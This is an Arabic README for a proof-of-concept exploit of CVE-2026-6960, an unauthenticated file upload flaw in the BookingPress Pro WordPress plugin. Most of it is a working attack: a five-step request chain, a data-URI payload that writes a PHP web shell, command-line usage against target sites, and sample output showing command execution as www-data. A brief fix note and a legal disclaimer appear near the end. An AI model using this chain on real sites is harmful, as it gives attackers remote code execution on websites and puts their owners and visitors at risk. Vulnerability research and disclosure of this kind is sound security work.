
استغلال إثبات المفهوم لثغرة CVE-2026-6960: رفع ملفات تعسفي بدون مصادقة في BookingPress Pro ≤ 5.6. يقوم بأتمتة سلسلة من 3 خطوات لرفع ويب شيل PHP عبر حقن بيانات URI، مما يحقق تنفيذًا عن بُعد للتعليمات البرمجية على مواقع WordPress المعرضة للخطر.
البحث بواسطة: Atomic Edge الخطورة: حرجة | CVSS: 9.8 | المصادقة المطلوبة: لا شيء
⚠️ الإصدار 2 — تم تطبيق تصحيحات تقنية بناءً على ملاحظات المجتمع. راجع سجل التغييرات للتفاصيل.
توجد ثغرة حرجة لرفع ملفات تعسفي دون مصادقة في إضافة ووردبريس BookingPress Pro (الإصدارات ≤ 5.6). يعالج مُعالج إرسال الحجز bookingpress_book_appointment_booking قيمة حقل مخصص من نوع التوقيع كـ data URI. تستخرج الإضافة امتداد الملف من جزء نوع MIME في الرابط عبر regex وتمرّره مباشرةً إلى file_put_contents() — دون قائمة سماح أو قائمة منع للامتدادات. يتيح ذلك للمهاجم كتابة قشرة ويب PHP إلى دليل يمكن الوصول إليه عبر الويب وتحقيق تنفيذ أكواد عن بُعد (RCE).
⚠️ يجب أن تتحقق جميع الشروط التالية لكي يكون الموقع قابلًا للاستغلال:
المواقع التي تعمل بإصدار ≤ 5.6 دون تكوين حقل توقيع مخصص غير قابلة للاستغلال عبر هذا الناقل.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
يعالج مسار الكود المعيب قيمة حقل التوقيع كـ data URI:
data:image/{ext};base64,{base64_encoded_content}
تستخرج BookingPress {ext} من نوع MIME باستخدام تطابق regex، ثم تكتب المحتوى المفكوك ترميزه إلى القرص باستخدام file_put_contents() مع إلحاق هذا الامتداد باسم الملف — لا يتم إجراء أي فحص لقائمة السماح. يؤدي توفير image/php كنوع MIME إلى كتابة ملف .php في دليل الرفع.
يختلف هذا جوهريًا عن رفع الملفات القياسي متعدد الأجزاء — فالحمولة مضمّنة في حقل نص JSON، وليست جزءًا من رفع ملف.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) قبل استخراج الامتدادwp_check_filetype_and_ext() لجميع عمليات التحقق من نوع الملف→ قم بالتحديث إلى BookingPress Pro 5.7 فورًا.
هذا المستودع مخصص لأغراض البحث الأمني المصرح به والتعليم فقط. لا تستخدم هذه الأداة ضد أي نظام دون إذن كتابي صريح من مالك النظام. قد ينتهك الاستخدام غير المصرح به قانون CFAA (الولايات المتحدة)، والقانون الجنائي s.342.1 (كندا)، وتوجيه الاتحاد الأوروبي NIS2، وقوانين أخرى سارية. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام أو الأضرار الناشئة عن هذا الكود.
| الخاصية | التفاصيل |
|---|
| الإضافة | BookingPress Pro (bookingpress-appointment-booking-pro) |
| الإصدارات المتأثرة | ≤ 5.6 |
| أُصلح في | 5.7 |
| ناقل الهجوم | شبكة / دون مصادقة |
| إجراء AJAX | bookingpress_book_appointment_booking |
| السبب الجذري | استخراج الامتداد من نوع MIME المتحكم فيه من قبل المهاجم في data URI → file_put_contents() دون قائمة سماح |
| CWE | CWE-434: رفع غير مقيد لملف بنوع خطير |
| العلامة | الوصف | الافتراضي |
|---|
-u, --url | عنوان URL المستهدف لووردبريس | (مطلوب) |
-bp, --booking-page | مسار الصفحة الذي يحتوي على نموذج BookingPress | / |
-s, --service-id | معرف خدمة BookingPress | 1 |
-f, --filename | اسم ملف القشرة (يُحقن الامتداد في MIME الخاص بـ data URI) | shell.php |
--no-verify | تعطيل التحقق من شهادة SSL | false |
| # | المشكلة | v1 (غير صحيح) | v2 (مصحح) |
|---|
| 1 | إجراء AJAX | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | طريقة الحمولة | رفع ملفات متعدد الأجزاء مع image/png | Data URI: data:image/{ext};base64,... |
| 3 | تدفق الاستغلال | POST مباشر دون مصادقة | سلسلة متطلبات مسبقة من 3 خطوات (nonce → transient → token) |
| 4 | شرط مسبق | غير موثق | يجب تكوين حقل مخصص من نوع التوقيع |